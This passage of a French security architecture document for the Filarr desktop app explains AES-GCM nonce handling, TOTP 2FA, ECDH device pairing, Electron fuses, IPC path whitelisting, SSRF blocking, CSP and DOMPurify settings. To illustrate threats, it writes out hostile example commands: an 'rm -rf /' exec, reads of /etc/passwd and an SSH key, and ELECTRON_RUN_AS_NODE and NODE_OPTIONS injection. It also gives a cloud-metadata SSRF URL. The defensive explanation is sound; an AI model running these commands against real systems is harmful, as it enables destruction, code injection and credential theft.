| Mode | Confidentialité | Intégrité | Perf | Side-channel | Verdict |
|---|---|---|---|---|---|
| AES-ECB | ❌ (pattern leak) | ❌ | Rapide | Résistant | À bannir |
| AES-CBC | ✅ | ❌ (pas authenticated) | Moyen | Padding oracle risque | À éviter seul |
| AES-CBC + HMAC | ✅ | ✅ | Lent (2 passes) | OK | OK mais complexe |
| AES-CTR | ✅ | ❌ | Rapide | OK | À éviter seul |
| AES-GCM | ✅ | ✅ (AEAD) | Rapide (hw accel) | Bon (sauf nonce reuse) | Standard moderne |
| ChaCha20-Poly1305 | ✅ | ✅ (AEAD) | Rapide (soft) | Très bon | Alternative si pas d'AES-NI |
AES-GCM est le choix par défaut moderne pour trois raisons combinées. D'abord, il combine chiffrement et authentification dans une seule construction (AEAD, Authenticated Encryption with Associated Data) : le tag de 16 octets détecte toute modification du ciphertext avec une probabilité de collision de 2^-128. On n'a donc pas à combiner manuellement un chiffrement (CBC) avec un MAC (HMAC), construction qui a historiquement mal fini dans les implémentations naïves (voir Encrypt-then-MAC vs MAC-then-Encrypt vs Encrypt-and-MAC et les disasters de TLS 1.0 avec le mauvais choix).
Ensuite, AES-GCM bénéficie de l'accélération matérielle AES-NI présente sur tous les CPU x86-64 depuis ~2010 (Intel) et tous les ARM64 avec les extensions Cryptography depuis ARMv8. Un cœur moderne atteint environ 5 gigaoctets par seconde en AES-GCM, ce qui fait qu'en pratique le coût de chiffrement est négligeable devant le coût I/O. L'alternative ChaCha20-Poly1305 est aussi très rapide mais en logiciel pur ; elle devient préférable sur les plateformes sans AES-NI (ARM mobile bas de gamme, par exemple), mais pour un app Electron desktop, AES-GCM est optimal.
Enfin, AES-GCM est un standard FIPS 140-2, supporté nativement partout : Web Crypto API, Node.js crypto, OpenSSL, libsodium, BoringSSL. Il est utilisé par TLS 1.3 comme cipher suite par défaut, par Signal pour chiffrer les messages, par Age pour chiffrer les fichiers, par AWS pour KMS. C'est le consensus du terrain.
5.3 Le piège mortel : Forbidden Attack et nonce reuse
AES-GCM a une faiblesse catastrophique qu'il faut connaître : réutiliser un nonce avec la même clé détruit complètement la sécurité. Ce n'est pas « un peu dangereux » au sens où on perdrait quelques bits de sécurité — c'est total, permettant à un attaquant non seulement de déchiffrer, mais aussi de forger des ciphertexts arbitraires qui passeront la vérification.
Techniquement, si un attaquant observe deux ciphertexts C1 et C2 chiffrés avec la même paire (K, N), il peut d'abord calculer C1 ⊕ C2 = P1 ⊕ P2, révélant la combinaison linéaire des plaintexts. Puis, en résolvant le système polynomial sur le corps de Galois GF(2^128) sous-jacent à GCM, il peut récupérer la clé d'authentification interne H = AES_K(0^128). Avec H en main, l'attaquant peut calculer le tag GCM de n'importe quel ciphertext qu'il construit, et donc forger des ciphertexts authentifiés arbitraires. Cette attaque, décrite par Böck, Zauner et Devlin dans leur papier Nonce-Disrespecting Adversaries de 2016, a été exploitée en pratique contre environ 70 000 serveurs HTTPS mal configurés la même année.
Filarr se prémunit contre cette classe d'attaque par une discipline stricte : à chaque chiffrement, on appelle crypto.getRandomValues(new Uint8Array(12)) pour produire 12 octets de nonce tirés d'une source CSPRNG. Avec 2^96 nonces possibles et n fichiers chiffrés sous la même FEK, la probabilité de collision suit le paradoxe des anniversaires : environ n² / 2^97. Pour qu'un utilisateur chiffre 2^32 fichiers (quatre milliards), la probabilité de collision est de l'ordre de 2^-33 — négligeable. En pratique, un utilisateur lambda chiffre au plus 2^20 fichiers au cours de la vie de son profil, ce qui donne une probabilité de collision de 2^-57 : inaccessible.
On ne génère jamais le nonce via un compteur incrémenté et persisté, même si c'est théoriquement plus économe en aléa. La raison : un crash entre l'incrémentation et l'écriture du compteur pourrait amener à réutiliser un nonce au redémarrage, ce qui est précisément le scénario catastrophique. L'aléa cryptographique à chaque chiffrement est légèrement plus coûteux en CPU mais élimine cette classe de bug par construction.
5.4 Le nonce est public, et c'est voulu
Une confusion fréquente concerne la nature du nonce : beaucoup de personnes le considèrent comme un secret supplémentaire, par analogie avec la clé. C'est faux. En GCM, le nonce n'est pas un secret ; il remplit le rôle d'un IV (initialization vector) et est public par conception. Il est stocké en clair à côté du ciphertext et transmis avec lui. Seule sa réutilisation avec la même clé est interdite — ce n'est pas la confidentialité du nonce qui compte, c'est son unicité.
5.5 Qu'authentifie exactement le tag GCM ?
Le tag de 16 octets à la fin du ciphertext authentifie simultanément trois choses. D'abord le ciphertext lui-même : toute modification, même d'un seul bit, invalide le tag et le déchiffrement échoue. Ensuite les données associées (AAD, Additional Authenticated Data) si on en fournit — Filarr ne s'en sert pas mais le champ existe dans l'API, et il pourrait servir à lier un ciphertext à des métadonnées publiques (par exemple l'identifiant de fichier en clair), empêchant qu'un attaquant ne les swap entre fichiers. Enfin, implicitement, le nonce et la clé : un tag calculé avec une paire (K, N) différente ne vérifiera pas, donc un attaquant qui tente de déchiffrer avec la mauvaise clé obtient une erreur plutôt qu'un plaintext corrompu silencieusement.
Un détail d'API important : quand crypto.subtle.decrypt() détecte un tag invalide, il lève une exception plutôt que de retourner un plaintext partiel. C'est la définition formelle d'AEAD — pas de retour de données non authentifiées, jamais. Un attaquant qui tenterait de modifier le ciphertext pour obtenir ne serait-ce qu'un petit fragment de plaintext se heurte à cette garantie absolue de Web Crypto.
6. Double authentification (2FA)
Le chiffrement côté client protège vos fichiers contre un serveur compromis, mais il ne protège pas votre compte contre une prise de contrôle. Un attaquant qui devine votre mot de passe par credential stuffing peut se connecter, exfiltrer les métadonnées visibles côté serveur et déclencher la suppression du vault. Un rate limit par IP seul est insuffisant : un botnet qui fait tourner 5 000 IPs résidentielles passe sous le radar. Depuis avril 2026, Filarr propose donc une double authentification TOTP, opt-in, activable depuis Paramètres > Sécurité (comptes gratuits compris).
6.1 Le choix de TOTP RFC 6238
Filarr utilise TOTP RFC 6238 standard : SHA-1, 6 chiffres, période 30 s, fenêtre de tolérance ±1 step. Ce choix est volontaire face à WebAuthn / Passkeys. WebAuthn offre une meilleure protection anti-phishing mais exige un hardware compatible (Touch ID, YubiKey, Windows Hello) et une portabilité variable entre appareils et navigateurs. TOTP marche partout avec n'importe quelle app du marché — Authy, Google Authenticator, 1Password, Bitwarden, et des dizaines d'autres — sans installer quoi que ce soit côté serveur qu'un secret base32 et une vérification RFC. Cette portabilité est cohérente avec le modèle « votre mot de passe reste la source de vérité cryptographique » : le 2FA complète l'auth serveur, il ne remplace pas le crypto local.
6.2 Les codes de secours, hashés en HMAC-SHA-256
À l'activation, Filarr génère 8 codes de secours à usage unique. Chaque code est stocké sous forme d'un HMAC-SHA-256 ; la clé HMAC dérive du JWT_SECRET du worker, qui n'est jamais en D1. Le choix de HMAC plutôt que bcrypt n'est pas un compromis sur la sécurité : avec 40 bits d'entropie aléatoire par code, un attaquant qui exfiltre la D1 doit aussi compromettre le JWT_SECRET stocké séparément ; et même avec les deux, bruteforcer HMAC-SHA-256 sur 40 bits de randomness uniforme reste coûteux. Bcrypt cost 12 (≈ 250 ms par tentative) n'est simplement pas viable sur l'enveloppe CPU de 50 ms d'un Cloudflare Worker — avec HMAC natif en Web Crypto, la vérification est en microsecondes et le coût opérationnel est zéro.
6.3 Ce que le 2FA ne protège PAS
Important : le 2FA protège uniquement la connexion au compte. Il interpose une barrière au login via un flow à deux étapes : mot de passe → jeton MFA court de 5 min → code TOTP ou code de secours → tokens de session, avec un rate limit de 10 tentatives / 15 min / IP sur la seconde étape. Mais si un attaquant exfiltre la copie chiffrée de votre clé maître stockée côté serveur, il peut tenter un brute-force hors ligne — et là, le 2FA n'intervient pas du tout. Seule la force de votre mot de passe et les 600 000 itérations PBKDF2-SHA-512 font le travail. Le 2FA est une défense anti-takeover distincte de la défense crypto ; les deux sont complémentaires, pas substituables.
La régénération de la phrase de récupération BIP-39 (24 mots) et la régénération des codes de secours sont aussi disponibles depuis Paramètres > Sécurité — les deux invalident les anciens artefacts immédiatement.
7. Pairing multi-appareils
Le partage de la FEK entre plusieurs appareils est probablement la partie la plus délicate cryptographiquement de toute l'architecture. La contrainte est claire : on veut qu'un utilisateur qui a déjà déverrouillé son compte sur son laptop (Device A) puisse ajouter son smartphone ou un second laptop (Device B) au même compte, avec accès à toutes les données, sans que le serveur ne voit jamais la FEK en clair. Comment transmettre une clé secrète à travers un canal non-fiable (le serveur) sans que le canal puisse la lire ? C'est précisément le problème que résolvent les échanges de clés Diffie-Hellman depuis 1976, avec une garantie mathématique solide.
7.1 Le protocole complet en v2.2.2+
L'idée de base d'un échange Diffie-Hellman est que deux parties peuvent dériver un secret partagé en échangeant des clés publiques sur un canal ouvert, sans qu'un observateur passif puisse reconstituer ce secret. En cryptographie moderne, on utilise la variante sur courbe elliptique (ECDH) qui offre la même sécurité que le Diffie-Hellman classique avec des clés bien plus courtes : une clé ECDH sur la courbe P-256 fait 256 bits, contre environ 3072 bits pour une sécurité équivalente avec le Diffie-Hellman modulaire.
Voici le protocole Filarr complet :
┌─────────────────────────────┬─────────────────────────────┐
│ DEVICE A │ DEVICE B │
├─────────────────────────────┼─────────────────────────────┤
│ 1. Génère (privA, pubA) │ │
│ ECDH P-256 │ │
│ 2. Génère code 6 chiffres │ │
│ via crypto.randomInt() │ │
│ 3. PUT /pairing/<code> { │ │
│ pubA: base64 │ │
│ } (TTL 5 min) │ │
│ │ 4. Utilisateur saisit code │
│ │ 5. GET /pairing/<code> │
│ │ → reçoit pubA │
│ │ 6. Génère (privB, pubB) │
│ │ 7. sharedBits = │
│ │ ECDH(privB, pubA) │
│ │ 8. wrapKey = │
│ │ HKDF-SHA-256( │
│ │ ikm=sharedBits, │
│ │ salt=code, │
│ │ info="filarr. │
│ │ pairing.wrap.v1", │
│ │ length=32 │
│ │ ) │
│ │ 9. PUT /pairing/<code>/ │
│ │ device-b-pubkey { │
│ │ pubB: base64 │
│ │ } │
│ 10. Poll /pairing/<code> │ │
│ → reçoit pubB │ │
│ 11. sharedBits = │ │
│ ECDH(privA, pubB) │ │
│ 12. wrapKey = HKDF(...) │ │
│ (identique à B) │ │
│ 13. iv = random(12) │ │
│ 14. wrappedFEK = │ │
│ AES-256-GCM.wrap( │ │
│ fek, wrapKey, iv │ │
│ ) │ │
│ 15. PUT /pairing/<code>/ │ │
│ wrapped-fek { │ │
│ blob: base64( │ │
│ iv ++ wrappedFEK │ │
│ ) │ │
│ } │ │
│ │ 16. Poll /pairing/<code> │
│ │ → reçoit blob │
│ │ 17. fek = AES-256-GCM │
│ │ .unwrap(blob, wrapKey) │
│ │ 18. Store fek via │
│ │ safeStorage OS │
│ │ 19. DELETE /pairing/<code> │
└─────────────────────────────┴─────────────────────────────┘
Ce que le serveur Filarr voit transiter à travers ce protocole se limite aux éléments publics : la clé publique de Device A (pubA, un point sur la courbe P-256 qui ne révèle rien sur la clé privée par définition du problème ECDLP — Elliptic Curve Discrete Logarithm Problem), la clé publique de Device B symétriquement, le code de pairing à 6 chiffres, et un blob opaque iv ++ wrappedFEK. Ce blob est chiffré par une clé que le serveur ne peut pas reconstruire, parce qu'il faudrait pour cela connaître soit privA soit privB, clés privées éphémères qui ne sortent jamais des appareils. Même un serveur activement malicieux qui essaierait de man-in-the-middle l'échange échouerait : les deux appareils calculent leur sharedBits indépendamment à partir de leur propre clé privée et de la clé publique reçue, et obtiennent le même résultat uniquement si les deux clés publiques sont effectivement celles des deux appareils légitimes.
7.2 L'extract-expand d'HKDF et pourquoi il a fallu l'ajouter en v2.2.2
Avant la v2.2.2, le code utilisait les 256 bits bruts retournés par crypto.subtle.deriveBits() directement comme clé AES-256 pour wrapper la FEK. Ça fonctionne en pratique — les 256 bits sont aléatoires dans le groupe de la courbe — mais ça viole techniquement les hypothèses formelles sous lesquelles AES-GCM est prouvé sûr.
Le problème subtil est que les bits issus d'un point ECDH ne sont pas uniformément distribués dans {0, 1}^256. Ils sont aléatoires dans le groupe — c'est-à-dire qu'ils représentent un point aléatoire sur la courbe elliptique — mais la structure de la courbe fait que certaines séquences de 256 bits ne correspondent à aucun point valide, tandis que d'autres sont plus fréquentes. Cette non-uniformité n'est pas visible à l'œil nu (les coordonnées ressemblent à du bruit), mais elle est mesurable statistiquement et, plus important, elle casse la preuve de sécurité d'AES-GCM qui suppose des clés uniformément aléatoires dans {0, 1}^256.
La réponse standard à ce problème est HKDF (RFC 5869), une construction en deux étapes qui transforme n'importe quelle source d'entropie suffisante en une clé uniformément distribuée. La première étape, Extract, calcule PRK = HMAC-SHA-256(salt, ikm) où ikm est l'input keying material (les sharedBits ECDH dans notre cas). Le résultat PRK est une clé pseudo-aléatoire concentrée, uniformément distribuée dans {0, 1}^256. La deuxième étape, Expand, dérive la ou les clés de sortie via OKM = HMAC-SHA-256(PRK, info || 0x01). Cette séparation en deux phases est formellement analysée : elle prouve qu'un adversaire qui observe OKM ne peut pas distinguer la distribution de sortie d'une distribution uniforme vraiment aléatoire, même en ayant accès à ikm (sous des hypothèses raisonnables sur HMAC).
Ajouter HKDF dans Filarr v2.2.2 était un durcissement defense-in-depth : en pratique, aucune attaque connue n'exploitait la non-uniformité des bits ECDH contre AES-GCM en 2026, mais respecter les hypothèses formelles garantit qu'on ne se retrouvera pas pris au dépourvu si un papier académique publie demain une nouvelle attaque qui exploite cette non-uniformité.
7.3 Le domain separator, ceinture et bretelles
Le champ info d'HKDF, qu'on a fixé à la chaîne littérale "filarr.pairing.wrap.v1", n'est pas cosmétique. Il sert une fonction importante appelée séparation de domaines : garantir que la même source d'entropie (sharedBits) ne produira jamais la même clé dérivée pour deux usages différents, même si on utilise le même algorithme (HKDF-SHA-256 ici).
Imaginons qu'on ajoute demain une nouvelle fonctionnalité : signer les manifests de sync avec une clé dérivée de l'échange ECDH du pairing. Si on utilisait HKDF avec le même paramètre info, la clé de signature serait identique à la clé de wrap, ce qui créerait une dépendance cachée entre deux primitives cryptographiques distinctes. Une attaque sur l'un (par exemple, une fuite de la clé de signature via un side-channel) compromettrait l'autre. Avec un info différent par usage ("filarr.pairing.wrap.v1" vs "filarr.pairing.sign.v1"), les clés dérivées sont indépendantes sous les hypothèses de HKDF, même si elles partent des mêmes sharedBits. C'est le pattern recommandé par NIST SP 800-56C pour toutes les utilisations de dérivation de clé à partir d'un secret partagé.
Le suffixe v1 dans le label est également intentionnel : si on change l'algorithme de wrap (par exemple, passer à ChaCha20-Poly1305), on passera à v2, ce qui garantit qu'un blob chiffré avec l'ancienne version ne sera pas accidentellement interprété comme un nouveau format.
7.4 Le code à 6 chiffres et sa sécurité
Le code à 6 chiffres offre environ 20 bits d'entropie, soit 1 048 576 combinaisons possibles. On pourrait s'inquiéter qu'un attaquant puisse bruteforcer l'API /pairing/<code> pour deviner le code et intercepter le blob chiffré. Plusieurs défenses en couches rendent cette attaque non viable.
D'abord, le code a un TTL de 5 minutes côté serveur : passé ce délai, l'entrée est supprimée et le code ne correspond plus à rien. L'attaquant n'a donc que 5 minutes pour bruteforcer. Ensuite, le serveur applique un rate limit sur les accès à /pairing/<code> : typiquement 10 tentatives par minute par IP, avec blocage progressif au-delà. En 5 minutes, un attaquant peut donc tester au plus ~50 codes. Sur 10^6 possibilités, c'est une probabilité de 0.005% de tomber sur le bon code. Mathématiquement négligeable, mais combinons-le avec le fait qu'il faudrait aussi que l'attaquant devine le code au moment exact où il est valide, ce qui ajoute une dimension temporelle au problème.
Enfin, et c'est le plus important, le code est transmis hors-bande : il s'affiche sur l'écran de Device A et est tapé à la main sur Device B. Il n'est jamais envoyé au serveur qui l'émet — c'est le client Device A qui génère le code localement via crypto.randomInt() et le déclare au serveur, et c'est Device B qui le reçoit directement de l'utilisateur physique. Un attaquant qui écoute le réseau ne voit jamais le code en clair.
Pour compléter le tableau, ECDH fournit en prime la confidentialité parfaite en avant (forward secrecy) : les clés privées privA et privB sont éphémères et supprimées après le pairing. Si un attaquant obtient le code après son expiration, ou même s'il compromet le serveur plus tard, il ne peut plus reconstruire la wrap key parce que les clés privées n'existent plus.
7.5 Comparaison avec l'approche de Signal
Un lecteur familier avec Signal pourrait se demander pourquoi Filarr n'utilise pas les Safety Numbers de Signal pour la vérification. La réponse tient au cas d'usage différent.
Signal utilise des empreintes à 60 chiffres dérivées des clés publiques persistantes des deux contacts, qu'on compare visuellement ou en scannant un QR code. Ce modèle est adapté à la messagerie persistante : une fois qu'Alice a ajouté Bob à ses contacts et vérifié son Safety Number, elle peut lui envoyer des messages pendant des années sans re-vérification, tant que Bob ne change pas d'appareil. Mais le coût initial est une comparaison de 60 chiffres, ce qui est OK pour un ami qu'on va voir en personne mais lourd pour un pairing one-shot à soi-même.
Le modèle Filarr, plus proche de Apple Continuity / Handoff ou de l'approche WireGuard PSK, utilise un code court à usage unique. C'est moins sûr dans l'absolu (20 bits vs ~200 bits pour un Safety Number complet), mais c'est adapté au cas d'usage rare d'ajouter un nouveau device à son propre compte, avec un canal de confiance physique (l'utilisateur lit le code sur un écran et le tape sur un autre).
8. Durcissement Electron
Electron est un framework qui combine deux composants potentiellement dangereux : Chromium, qui expose toute la surface d'attaque web moderne (XSS, CSRF, DOM clobbering, prototype pollution...), et Node.js, qui permet l'accès complet au système (filesystem, processus, réseau, commandes shell). Par défaut, une app Electron qui ne fait rien de spécial expose cette combinaison explosive au code chargé dans le renderer. Si un attaquant réussit un XSS, il peut directement appeler require('child_process').exec('rm -rf /') et c'est game over. Toute la sécurité applicative de Filarr repose sur le fait qu'on rompt cette chaîne par architecture : le renderer ne peut pas accéder directement au système, il passe par des canaux IPC strictement typés et whitelistés.
8.1 Les trois isolations fondamentales
La configuration minimale pour qu'une app Electron moderne soit défendable est d'activer trois flags ensemble dans webPreferences :
webPreferences: {
nodeIntegration: false, // Pas de require() dans le renderer
contextIsolation: true, // contextBridge isole preload du renderer
sandbox: true, // Le renderer tourne dans le sandbox Chromium
preload: path.join(__dirname, 'preload.js'),
}
Sans ces trois flags, toutes les autres mesures de sécurité sont cosmétiques. Chacun mérite une explication.
nodeIntegration: false garantit que le code JavaScript chargé dans le renderer n'a pas accès à require(), process, global, ou aux autres globales Node.js. Le renderer est dans le même état qu'un onglet Chrome standard : il peut manipuler le DOM et appeler les APIs Web (fetch, localStorage, crypto.subtle, etc.) mais ne peut pas lire un fichier local ou spawn un processus. Sans ce flag, n'importe quel XSS dans une dépendance frontend devient une RCE (Remote Code Execution) complète, parce que l'attaquant peut faire require('fs').readFileSync('/etc/passwd').
contextIsolation: true va plus loin : il place le code du preload dans un realm V8 séparé du code de la page. Même si le preload a besoin d'ipcRenderer (pour exposer des méthodes au renderer via contextBridge), ce module n'est pas accessible depuis la page. Les deux realms partagent le DOM, mais pas les globales JavaScript. Concrètement, si un attaquant fait de la prototype pollution dans le realm de la page (en modifiant Array.prototype, par exemple), ça ne touche pas le preload. Sans contextIsolation, le bridge contextBridge n'est qu'un sucre syntaxique et les objets exposés peuvent être subvertis par la page.
sandbox: true place le processus renderer dans le sandbox Chromium, un mécanisme d'isolation au niveau du système d'exploitation que Google a développé et durci depuis 2008 pour bloquer les escapes. L'implémentation diffère selon l'OS mais le principe est le même : le processus renderer ne peut parler au reste du système qu'à travers un canal IPC avec le main process (le processus browser de Chromium). Sur Windows, le sandbox utilise un mélange de Restricted Token (qui drop les privilèges admin et des tokens spécifiques comme SeTcbPrivilege), de Job object (qui limite les ressources), et de Windows Integrity Level Low (qui empêche le processus d'écrire dans les zones système). Sur macOS, c'est Seatbelt, dérivé du sandbox-exec avec un profil spécifique à Chromium qui liste les syscalls autorisés. Sur Linux, c'est une combinaison de user namespaces (qui donne l'illusion au processus d'être root alors qu'il est confiné), de seccomp-bpf (qui whitelist les syscalls autorisés au niveau kernel), et de chroot (qui restreint la vue du filesystem). Un sandbox bien configuré bloque en pratique des syscalls comme mount, ptrace, kexec_load, et la plupart des opérations qui permettraient à un attaquant d'escape le processus.
8.2 Les fuses Electron — intégrité au niveau du binaire
Les « fuses » (@electron/fuses) sont un mécanisme relativement récent et méconnu : ce sont des bits de configuration qu'on flippe directement dans le binaire Electron au moment du packaging, et qui ne peuvent plus être modifiés en production sans recompiler l'application. Ils ferment des comportements par défaut du runtime Electron qui étaient utiles en développement mais dangereux en production.
Depuis la v2.2.2, Filarr applique 8 fuses explicites avec le paramètre strictlyRequireAllFuses: true. Ce paramètre force à lister tous les fuses connus de la version d'Electron utilisée ; si une future version d'Electron ajoute un nouveau fuse avec un défaut non-sûr, le build échouera et nous obligera à prendre une décision explicite. C'est du fail-closed appliqué à la configuration de sécurité.
| Fuse | Valeur | Ce que ça bloque |
|---|---|---|
RunAsNode | false | ELECTRON_RUN_AS_NODE=1 filarr.exe ./evil.js — transformer Filarr en runtime Node arbitraire pour exécuter du code utilisateur |
EnableCookieEncryption | true | Cookies chiffrés via DPAPI/Keychain/libsecret — un attaquant qui lit le fichier Cookies SQLite ne peut pas extraire de tokens en clair |
EnableNodeOptionsEnvironmentVariable | false | NODE_OPTIONS=--require=/tmp/evil.js filarr.exe — injection de module Node au démarrage |
EnableNodeCliInspectArguments | false | --inspect, --inspect-brk — un port debug ouvert sur un binaire prod = RCE |
EnableEmbeddedAsarIntegrityValidation | true | Validation cryptographique de l'intégrité d'app.asar (macOS + Windows) — l'app refuse de démarrer si un malware a patché le JS sur disque |
OnlyLoadAppFromAsar | true | Refuse de charger depuis un dossier non-ASAR à côté du binaire — vecteur classique de persistence |
LoadBrowserProcessSpecificV8Snapshot | false | Comportement par défaut (pas de snapshot séparé) |
GrantFileProtocolExtraPrivileges | true | Conservé pour compat avec file:// en prod — TODO v2.3 : migrer vers app:// custom et passer à false |
Une anecdote révélatrice s'est produite pendant le smoke test de l'upgrade Electron 41 en v2.3.0. En lançant npm start pour la première fois après l'upgrade, l'app refusait de démarrer avec une erreur cryptique : TypeError: Cannot read properties of undefined (reading 'isPackaged') sur la ligne const isDev = !electron_1.app.isPackaged. Après investigation, la cause était qu'une variable d'environnement ELECTRON_RUN_AS_NODE=1 traînait dans le shell de développement (posée par un outil interne pour un autre projet), et qu'elle forçait Electron à s'exécuter comme un simple runtime Node.js plutôt que comme une app Electron. Le require('electron') retournait donc le chemin du binaire plutôt que le namespace API. Ce bug en dev n'avait aucune conséquence, mais il illustrait parfaitement le scénario d'attaque que le fuse RunAsNode: false vise : en production, un attaquant local avec user-level access à la machine pourrait poser ELECTRON_RUN_AS_NODE=1 dans l'environnement et lancer filarr.exe ./script_malveillant.js pour exécuter du code arbitraire avec les privilèges de l'utilisateur, en utilisant notre propre binaire signé comme vecteur. Le fuse neutralise cette variable dans le binaire final : même si elle est définie, Electron l'ignore et démarre en mode app. On est rassurés par cette validation fortuite que la défense fonctionne.
8.3 Whitelist IPC et preload
Le preload (electron/preload.ts) est le seul endroit où du code Node.js s'exécute avec accès au contextBridge et à ipcRenderer. Son rôle est d'exposer au renderer une API minimale, via contextBridge.exposeInMainWorld('electron', { ... }), qui ne contient que les méthodes nécessaires au fonctionnement de l'app. Le renderer ne peut pas accéder à ipcRenderer directement, pas appeler require(), pas toucher à process ou global. Chaque méthode exposée correspond à un canal IPC typé, qui est handlé côté main process avec une validation stricte des arguments.
Pour illustrer la différence entre la version vulnérable et la version durcie, voici le handler import:readFile avant et après la v2.2.1 :
// AVANT v2.2.1 — vulnérable au path traversal
ipcMain.handle('import:readFile', async (_e, filePath: string) => {
return fs.readFile(filePath, 'utf-8');
});
// APRÈS v2.2.1 — whitelist de paths approuvés
const approvedImportPaths = new Set<string>();
ipcMain.handle('import:selectFile', async () => {
const { canceled, filePaths } = await dialog.showOpenDialog(...);
if (canceled) return null;
approvedImportPaths.add(path.resolve(filePaths[0]));
return filePaths[0];
});
ipcMain.handle('import:readFile', async (_e, filePath: string) => {
if (!isApprovedPath(filePath)) return null; // ← bloc
const lstat = await fs.lstat(filePath);
if (lstat.isSymbolicLink()) return null; // ← bloc symlink escape
return fs.readFile(filePath, 'utf-8');
});
La différence est fondamentale : dans la version vulnérable, un XSS dans le renderer pouvait appeler invoke('import:readFile', '/home/victim/.ssh/id_rsa') et exfiltrer la clé SSH. Dans la version durcie, seuls les chemins que l'utilisateur a explicitement choisis via un dialog natif sont acceptés. Le renderer n'a aucun moyen de déclencher l'ouverture d'un dialog sans interaction utilisateur (il n'y a pas d'IPC pour ça), donc il ne peut pas peupler la whitelist avec des chemins qu'il choisit. Les symlinks sont également rejetés pour éviter qu'un ZIP importé ne contienne un lien symbolique pointant vers /etc/passwd qui serait alors lu par Filarr au moment de l'extraction.
D'autres handlers ont été durcis de façon similaire. vault:importZip a reçu un cap de 500 Mo décompressés au total, 50 Mo par entrée, 10 000 entrées maximum, et rejette les paths contenant .. ou absolus — ces caps protègent contre les ZIP bombs (archives qui se décompressent en plusieurs gigaoctets) et les attaques de type ZIP slip (entrées avec des paths qui s'échappent du dossier de destination). open-external utilise désormais un new URL(url) strict qui rejette tout schème autre que http: et https:, les caractères de contrôle ASCII, et les URLs de plus de 8 Ko. Ce dernier check est appliqué y compris aux URLs retournées par notre propre backend pour les checkouts Stripe, en tant que defense-in-depth contre un backend qui serait compromis et essaierait de forcer l'ouverture d'une URL javascript: ou file:.
8.4 Gestionnaires de permissions
Les APIs Web modernes incluent un nombre impressionnant de permissions sensibles : accès caméra, microphone, géolocalisation, USB, MIDI, Bluetooth, serial port, HID, screen capture, background sync, et d'autres plus obscures. Par défaut, Electron demande à l'utilisateur une confirmation quand une page demande une de ces permissions. Filarr va plus loin et refuse explicitement toutes ces permissions en définissant un gestionnaire strict :
mainWindow.webContents.session.setPermissionRequestHandler(
(_, permission, callback) => {
const allowed = ['clipboard-read', 'clipboard-sanitized-write', 'notifications'];
callback(allowed.includes(permission));
}
);
Seules trois permissions sont autorisées : lire le presse-papiers (pour coller du texte), écrire dans le presse-papiers de façon sanitizée (pour copier du texte, jamais du HTML riche qui pourrait être dangereux), et afficher des notifications desktop (pour les rappels). Tout le reste est refusé silencieusement. Même si un XSS tentait d'appeler navigator.mediaDevices.getUserMedia() pour accéder à la webcam, l'appel retournerait immédiatement une erreur sans prompt utilisateur.
8.5 Protection SSRF
Quand Filarr affiche des aperçus de liens dans les notes (via les handlers IPC fetchPageTitle et fetchPageMetadata), il doit faire des requêtes HTTP vers les URLs citées par l'utilisateur. C'est une surface d'attaque SSRF (Server-Side Request Forgery) classique : un attaquant pourrait placer dans une note partagée un lien du type http://169.254.169.254/latest/meta-data/iam/security-credentials/ qui, s'il était fetché depuis une machine sur AWS, retournerait les credentials IAM temporaires de l'instance. Ce n'est pas hypothétique : c'est exactement le mécanisme de CVE-2019-8451 chez Jira, où la feature de preview de lien permettait d'exfiltrer les IAM credentials du serveur Jira.
Filarr implémente un helper isPrivateOrReservedUrl() qui bloque toutes les cibles internes avant de faire la requête : localhost, 127.0.0.1, [::1], 0.0.0.0, les plages privées RFC 1918 (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16), les link-local IPv4 et IPv6 (y compris donc 169.254.169.254 et ses variantes), et les unique-local IPv6. Une requête vers une cible bloquée retourne immédiatement une erreur. Cette liste est maintenue au fur et à mesure que de nouvelles plages de cloud metadata apparaissent (AWS, GCP, Azure, DigitalOcean ont tous leur propre IP metadata, généralement dans 169.254.0.0/16).
9. Content Security Policy
La Content Security Policy est le dernier rempart si tout le reste échoue. Filarr applique une CSP stricte sur toutes les réponses servies au renderer, via un handler onHeadersReceived qui injecte les headers dans la session Chromium :
default-src 'self';
script-src 'self' https://cdnjs.cloudflare.com;
style-src 'self' 'unsafe-inline';
img-src 'self' data: blob:;
font-src 'self' data: blob: *;
connect-src 'self' https://*.filarr-app.workers.dev
https://api.filarr.com
https://*.ingest.de.sentry.io;
worker-src 'self' blob: https://cdnjs.cloudflare.com;
frame-src https://www.youtube-nocookie.com https://www.youtube.com
https://player.vimeo.com;
object-src 'none';
base-uri 'self';
form-action 'self';
frame-ancestors 'none';
En plus de la CSP, on applique systématiquement X-Content-Type-Options: nosniff (qui empêche le MIME-sniffing abusif), X-Frame-Options: DENY (qui bloque l'embedding dans des iframes externes), Referrer-Policy: strict-origin-when-cross-origin (qui limite la fuite d'URL dans les headers Referer), Permissions-Policy: camera=(), microphone=(), geolocation=(), usb=() (backup de la permission handler pour les user agents qui respectent encore ce header), et Strict-Transport-Security: max-age=31536000; includeSubDomains (qui active HSTS sur toute la famille de domaines Filarr).
Deux concessions dans cette config méritent d'être documentées parce qu'elles contreviennent au principe « tout bloquer par défaut ». D'abord, 'unsafe-inline' sur style-src est requis par les attributs style inline de React — React génère du CSS inline pour ses composants, et passer à une solution avec des nonces briserait tout le pipeline de rendu. Cette concession est mitigée par la combinaison contextIsolation + sandbox + DOMPurify : même si un attaquant injecte du CSS malveillant, il ne peut pas exécuter du JavaScript via cette voie. Ensuite, script-src autorise cdnjs.cloudflare.com en plus de 'self' parce que KaTeX et Mermaid sont chargés depuis cdnjs pour alléger la bundle size. On pourrait tout bundler localement (et c'est sur la roadmap), mais le tradeoff actuel est d'accepter un seul domaine tiers de confiance contre une bundle 500 Ko plus petite.
Le header object-src 'none' élimine toute la surface d'attaque des plugins legacy (Flash, ActiveX, Java Applet), qu'aucune app moderne ne devrait permettre. Le header frame-ancestors 'none' empêche que Filarr soit embarqué dans un iframe par un site externe, ce qui bloque les attaques de clickjacking.
10. Sanitization XSS
Tout le HTML qui finit par être inséré dans le DOM du renderer passe par DOMPurify 3.4.0+, la référence open-source du domaine maintenue par Cure53. La configuration défensive a été élargie en v2.2.1 sur la base de l'audit de sécurité :
DOMPurify.sanitize(html, {
ADD_ATTR: ['target', 'rel'],
FORBID_TAGS: [
'style', 'form', 'input', 'textarea', 'select',
'iframe', 'object', 'embed',
'svg', 'math', 'foreignObject', 'annotation-xml',
'base', 'meta', 'link',
],
FORBID_ATTR: ['style', 'srcdoc', 'formaction', 'ping'],
